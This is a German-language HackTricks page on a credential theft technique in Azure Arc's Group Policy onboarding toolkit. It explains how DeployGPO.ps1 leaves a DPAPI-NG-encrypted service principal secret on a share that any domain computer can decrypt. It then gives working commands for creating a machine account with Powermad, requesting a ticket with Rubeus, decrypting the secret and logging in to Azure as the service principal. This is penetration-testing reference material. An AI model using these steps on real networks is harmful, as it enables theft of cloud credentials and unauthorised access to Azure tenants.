Az - Arc vulnerable GPO Deploy Script

Unterstützen Sie HackTricks

Identifizierung der Probleme

Azure Arc ermöglicht die Integration neuer interner Server (beigetretene Domänenserver) in Azure Arc mithilfe der Gruppenrichtlinienobjekt-Methode. Um dies zu erleichtern, stellt Microsoft ein Bereitstellungstoolkit bereit, das für die Initiierung des Onboarding-Verfahrens erforderlich ist. Im ArcEnableServerGroupPolicy.zip-Datei finden sich die folgenden Skripte: DeployGPO.ps1, EnableAzureArc.ps1 und AzureArcDeployment.psm1.

Beim Ausführen des Skripts DeployGPO.ps1 werden die folgenden Aktionen ausgeführt:

  1. Erstellt die Azure Arc Servers Onboarding GPO innerhalb der lokalen Domäne.

  2. Kopiert das Onboarding-Skript EnableAzureArc.ps1 in den für den Onboarding-Prozess erstellten Netzwerkfreigabebereich, der auch das Windows-Installationspaket enthält.

Beim Ausführen dieses Skripts müssen Sysadmins zwei Hauptparameter bereitstellen: ServicePrincipalId und ServicePrincipalClientSecret. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der den Freigabebereich hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere erforderliche Informationen müssen ebenfalls dem Skript bereitgestellt werden.

Ein verschlüsseltes Geheimnis wird im Verzeichnis AzureArcDeploy auf der angegebenen Freigabe mithilfe der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Hinweise darauf finden sich im Skript DeployGPO.ps1, wo die Verschlüsselung durch Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben durchgeführt wird. Der Deskriptor besteht aus den Gruppen-SIDs Domain Computer und Domain Controller, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen Domain Controllers und Domain Computers entschlüsselt werden kann, wie in den Skriptkommentaren festgehalten.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Ausnutzen

Wir haben die folgenden Bedingungen:

  1. Wir sind erfolgreich in das interne Netzwerk eingedrungen.

  2. Wir haben die Möglichkeit, ein Computerkonto im Active Directory zu erstellen oder die Kontrolle darüber zu übernehmen.

  3. Wir haben einen Netzwerkfreigabe entdeckt, die das Verzeichnis AzureArcDeploy enthält.

Es gibt mehrere Methoden, um ein Maschinenkonto in einer AD-Umgebung zu erhalten. Eine der häufigsten ist die Ausnutzung des Maschinenkontingents. Eine andere Methode besteht darin, ein Maschinenkonto durch verwundbare ACLs oder verschiedene andere Fehlkonfigurationen zu kompromittieren.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Nachdem ein Maschinenkonto erhalten wurde, ist es möglich, sich mit diesem Konto anzumelden. Wir können entweder das runas.exe-Kommando mit dem netonly-Flag verwenden oder pass-the-ticket mit Rubeus.exe durchführen.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

Durch das Speichern des TGT für unser Computerkonto im Speicher können wir das folgende Skript verwenden, um das Dienstprinzipalgeheimnis zu entschlüsseln.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternativ können wir SecretManagement.DpapiNG verwenden.

An diesem Punkt können wir die verbleibenden Informationen, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei sammeln, die auf demselben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei gespeichert ist. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als kompromittierter Serviceprinzipal anzumelden.

Referenzen

Last updated